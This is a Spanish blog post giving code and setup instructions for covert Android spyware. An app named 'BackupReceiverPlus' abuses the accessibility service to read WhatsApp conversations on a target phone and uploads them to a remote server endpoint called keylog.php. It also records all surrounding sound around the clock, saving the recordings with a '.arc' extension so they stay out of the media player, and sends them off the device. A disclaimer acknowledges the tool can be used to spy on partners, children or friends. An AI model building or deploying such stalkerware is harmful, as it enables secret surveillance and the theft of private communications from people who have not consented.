Ir al contenido principal

Código de ejemplo sobre cómo capturar y guardar en un servidor remoto los mensajes de WhatsApp de cualquier móvil Android


Si te interesa monitorizar y controlar los mensajes del WhatsApp de cualquier dispositivo móvil Android...estás de enhorabuena; siempre y cuando te la puedas apañar para generar una apk a partir del código fuente que te voy a ofrecer a continuación ;):

  • Lo primero un poco de teoría.
Se escuchan muchos bulos y engaños sobre la posibilidad de capturar los mensajes del WhatsApp de un móvil. Te voy a demostrar a continuación que SÍ es posible. Verás el modo de hacerlo aunque, te aviso ya de que hay ciertas limitaciones:

1ª) Utilizo las nuevas funcionalidades de accesibilidad añadidas a partir de la versión 4 de Android. Es decir; no hay soporte para versiones de Android anteriores a la 4.0.3 :(.

2ª) El monitoreo de los mensajes de un determinado móvil, requiere la instalación previa de nuestro apk en dicho móvil a rastrear, además de un paso añadido, en el que vamos a dar permisos al servicio que creamos para obtener datos de accesibildad (ver instrucciones más abajo).

3ª) Sólo captaremos los mensajes que se vean en la pantalla del usuario del WhatsApp. Mientras un determinado mensaje no sea visto (en pantalla), no será captado. Esto es así, porque el sistema que estoy explicando, basa su efectividad en la funcionalidad de las nuevas APIs de poder acceder programáticamente a los diferentes componentes de la pantalla del móvil. Por ejemplo, podemos acceder al texto que hay en un TextView de cualquier aplicación en ejecución en el móvil, siempre que se vea en la pantalla el mismo.

4ª) Esto no es tanto una limitación, como una advertencia. El código que os paso a continuación, lo he desarrollado en mis pocos ratos libres y habría que afinarlo aún mucho. Pero lo importante, es que es funcional y no da errores. A partir de ahí, debes mejorarlo y hacer tu magia con esta base que te ofrezco ;).

  • Otra funcionalidad añadida al proyecto: Monitoreo de sonidos 24 horas.
Además de capturar los mensajes de WhatsApp y mandarlos automáticamente a un servidor vía internet, también ofrezco en el código una nueva utilidad implementada: ir grabando automáticamente todos los sonidos que el móvil va a ir captando (incluso estando en suspensión o modo sleep). Más tarde, esos archivos grabados serán enviados también a un servidor web.

Es decir, que también se va a ir grabando y guardando todo lo que el móvil ha "escuchado" durante el día, incluidas las conversaciones de voz que se tengan por ese móvil.

  • Advertencias legales :).

No voy a negar que con este código fuente se pueden hacer cosas de dudoso carácter ético e incluso legal: espiar novios, hijos o amigos, y demás. No es esa la intención que persigo en absoluto. Yo sólo trato de explicar un método que he averiguado que permite capturar y almacenar remotamente conversaciones WhatsApp, pero no aconsejo a nadie en absoluto a utilizar estas funciones para faltar a la intimidad de nadie. Cualquier responsabilidad que surja a partir de este código fuente que muestro, recae por completo en el usuario que lo compile y lo utilice para cualquier fin ilegal.

  • Un par de detalles técnicos sobre el código fuente (voy a simplificar un poco en favor de la claridad):

AccessibilityServiceInfo info = new AccessibilityServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_ALL_MASK;
info.notificationTimeout = 100;
info.packageNames = new String[] { "com.whatsapp" };

setServiceInfo(info);



Con estas sencillas líneas, dentro del método onServiceConnected() ya tenemos enlazada nuestra aplicación (servicio) con todo lo que aparezca en pantalla cuando se activa la aplicación WhatsApp.

Posteriormente, obtenemos un código único para acceder a los datos guardados en el servidor, desde la web que hemos creado para ofrecer una interfaz cómoda para obtener los datos guardados. Cuando se entre en la página web, deberemos ingresar este código que nos aparece en pantalla la primera vez que activamos el servicio desde el panel de Ajustes del móvil (ver instrucciones de uso más abajo).

Para obtener este código univoco, he utilizado un hash de la mac del wifi del dispositivo móvil. 

Es muy sencillo:

 WifiManager wm = (WifiManager)context.getSystemService(Context.WIFI_SERVICE);
return wm.getConnectionInfo().getMacAddress();

Si por cualquier motivo, el proceso de obtención de la mac falla, se genera un número pseudoaleatorio de baja colisión (ver código fuente completo para obtener más detalles).

Y aquí viene la clave:

Dentro del método onAccessibilityEvent(AccessibilityEvent event) de nuestro servicio de accesibilidad (AccessibilityService), simplemente vamos a rastrear la pantalla, para filtrar y quedarnos únicamente con aquellas pantallas en las que se está leyendo o escribiendo a un contacto o grupo. ¿Y cómo obtenemos el contenido de la pantalla? Pues gracias a un código tan sencillo como el siguiente:

    AccessibilityNodeInfo rowNode = event.getSource();
    if (rowNode == null) {
        return;
    }

Con este simple código, obtenemos el objeto nodo principal de la pantalla, el cual contiene a su vez, a modo de árbol, todos los componentes de la pantalla, que serán hijos de ese nodo general.

Por ejemplo, para obtener el nombre del contacto con el que se está hablando, simplemente hacemos lo siguiente:

     // Buscamos el contacto
   String contacto = "";
   
   AccessibilityNodeInfo headNode = rowNode.getChild(0);
   if (headNode != null && headNode.getClassName().equals("android.view.View")) {
    AccessibilityNodeInfo vw = headNode.getChild(1);
       
        if (vw != null && vw.getClassName().equals("android.widget.LinearLayout")) 
        {
        AccessibilityNodeInfo ly = vw.getChild(0);
       
        if (ly != null && ly.getClassName().equals("android.widget.TextView")) 
        {
        CharSequence texto = ly.getText();
       
        contacto = texto + "";
        }
        }
   }


Lo que hemos hecho es, recorrer los hijos del nodo principal, buscando el primer objeto TextView, dentro del primer LinearLayout. El texto de ese TextView se correspondo al nombre del contacto o grupo con el que estamos hablando.

El resto de datos se obtiene de manera similar, rastreando la pantalla y sus objetos. Así de simple.

Cuando se obtiene un mensaje, y se identifica si es un mensaje enviado o recibido, se envía dicho mensaje, junto con los datos necesarios para clasificar el mensaje con los demás de ese contacto, y según la hora de envío. Estos datos se envían en formato JSON a través de internet, a un servidor específico que debe contener los ficheros PHP que adjunto también a este artículo.

Hay tres variables que se deben configurar para que el servicio funcione (están dentro de la clase ServerUtilities):

static final String SERVER_URL = "http://tudominio.com/carpetaopcional/keylog.php";
public static final String INDEX_URL = "http://tudominio.com/carpetaopcional/";
public static final String SERVER_URL_VOZ = "http://tudominio.com/carpetaopcional/vozlog.php";

Debes apuntar estas variables al lugar (url) donde has subido los ficheros PHP de la parte web del proyecto. ¡Recuerda dar permisos de escritura a la carpeta "datos"!

Esto respecto de la parte de monitoreo de WhatsApp. El monitorieo continuo de sonido es más simple, y simplemente se hace uso de las clases nativas AudioManager MediaRecorder.

Se va grabando los sonidos que capta el móvil cada 5 minutos, y se va guardando en un directorio temporal esas escuchas, en archivos MP4 (aunque se guardan con extensión ".arc" para que no los localice el reproductor multimedia de Android). Posteriormente se pasan esos archivos de 5 minutos a otro directorio para enviarlos mediante internet a un servidor web.

Un Thread se encarga de buscar archivos en el directorio de grabaciones terminadas, y las envía por internet al servidor web apuntado por la variable ServerUtilities.SERVER_URL_VOZ. 

Si en un momento determinado no se tiene conexión a internet, el proceso de subida se reanudará automáticamente cuando este hilo detecte que ya hay internet de nuevo.

  • Instrucciones de instalación y uso.
1) Generar la apk e instalarla normalmente en el móvil a monitorizar.
2) La aplicación sólo estará activada y monitorizando si el usuario, posteriormente a la instalación; explícitamente configura el servicio de accesibilidad como activo. Activar la monitorización es muy sencillo (Ver imágenes adjuntas a este manual):


      1. Ve a la opción de "Ajustes" de tu móvil.
      2. Selecciona la opción de "Accesibilidad" dentro del menú de "Ajustes".
      3. Pulsa sobre el servicio "BackupReceiverPlus" y activalo.

3) Copia el código numérico que te sale a continuación de activar el servicio, y también copia la dirección de la página web desde donde podrás ver tus conversaciones en modo online en cualquier lugar y momento (si no te da tiempo de copiar el código o lo pierdes, tendrás que desinstalar la aplicación y volver a instalarla para poder obtener una nueva clave única).
4) Ingresa en la página web e introduce tu código numérico en la web. Tendrás un listado con las conversaciones disponibles y los mensajes de texto que se han producido, además de un listado con todas las grabaciones de audio enviadas hasta la fecha.








Aquí tenéis los enlaces del fuente completo de todo el proyecto Android, así como de la parte web (archivos PHP, javascript, css, y demás):



Espero que el proyecto os sea de utilidad. Y, recuerda: si vais a utilizarlo o a divulgarlo, por favor, recuerda comentar la fuente(enlaza a mi blog, por favor ;).

Un cordial saludo.

Entradas populares de este blog

Evidencia a favor de la teoría de Jeremy England (usando computación evolutiva)

"You start with a random clump of atoms, and if you shine light on it for long enough, it should not be so surprising that you get a plant." Jeremy England (2014), interview commentary with Natalie Wolchover Hace ya un mes que terminé de estudiar a fondo el interesante trabajo que el físico  Jeremy England  está realizando en el  MIT (Massachusetts Institute of Technology) . En mi blog he divulgado todo lo referente a este trabajo con mucho nivel de detalle, siendo esta entrada un compendio de todo lo que el trabajo cuenta. La idea de esta línea de investigación viene a decir, a grosso modo , que la física de nuestro mundo mantiene una relación implícita entre complejidad y energía . Esta relación indica que, cuanto más complejo es un fenómeno, más energía debe disiparse de modo que crezca la probabilidad de que tal fenómeno finalmente acontezca. Esta teoría de Jeremy parte, y se deduce, de una base termodinámica y de mecánica estadística ya establecida, por lo que sus concl

Aprendizaje automático mediante Deep Q Ntework (DQN + TensorFlow)

"[Las neuronas son] células de formas delicadas y elegantes, las misteriosas mariposas del alma, cuyo batir de alas quién sabe si esclarecerá algún día el secreto de la vida mental."  (Ramón y Cajal) Introducción. Este artículo es una continuación de mi entrada anterior "Las matemáticas de la mente" [2]. Vimos en ese artículo cómo era posible que un simple algoritmo de computación pudiese imitar el modo en que nuestro cerebro aprende a realizar tareas con éxito, simplemente a partir del equivalente computacional de una red neuronal. Sin embargo, a pesar de que en dicha entrada os comentaba el caso de cómo se puede programar un algoritmo capaz de conseguir  literalmente,  aprender a jugar al Conecta4 (4 en raya) sin especificar ( pre-programar ) en ningún momento las reglas del juego; es posible que muchos notasen que aún así, todavía había que pre-procesar la entrada de la red neuronal para ofrecerle a las neuronas (nodos) de la capa de entrada ( inputs ) qué ficha

Aprendizaje autónomo por computación evolutiva (Conecta 4)

"[Las neuronas son] células de formas delicadas y elegantes, las misteriosas mariposas del alma, cuyo batir de alas quién sabe si esclarecerá algún día el secreto de la vida mental."  (Ramón y Cajal) Introducción. Dibujo de Ramón y Cajal de las células del cerebelo de un pollo,  mostrado en "Estructura de los centros nerviosos de las aves", Madrid, 1905. Dos noticias muy importantes que han tenido lugar estas últimas semanas en el campo de la neurociencia y la inteligencia artificial (de las cuales me hice eco en este mismo blog: aquí [1][2] y  aquí [3]), me hizo recordar un trabajo de computación que hice allá por el 2011 cuando inicié el doctorado en ingeniería (el cual por cierto aún no terminé, y que tengo absolutamente abandonado :( Ya me gustaría tener tiempo libre para poder retomarlo; porque además odio dejar las cosas a medias). Pues bien, el trabajo original[4] (que he mejorado) consistía en ser el desarrollo de un algoritmo capaz de aprender a jugar a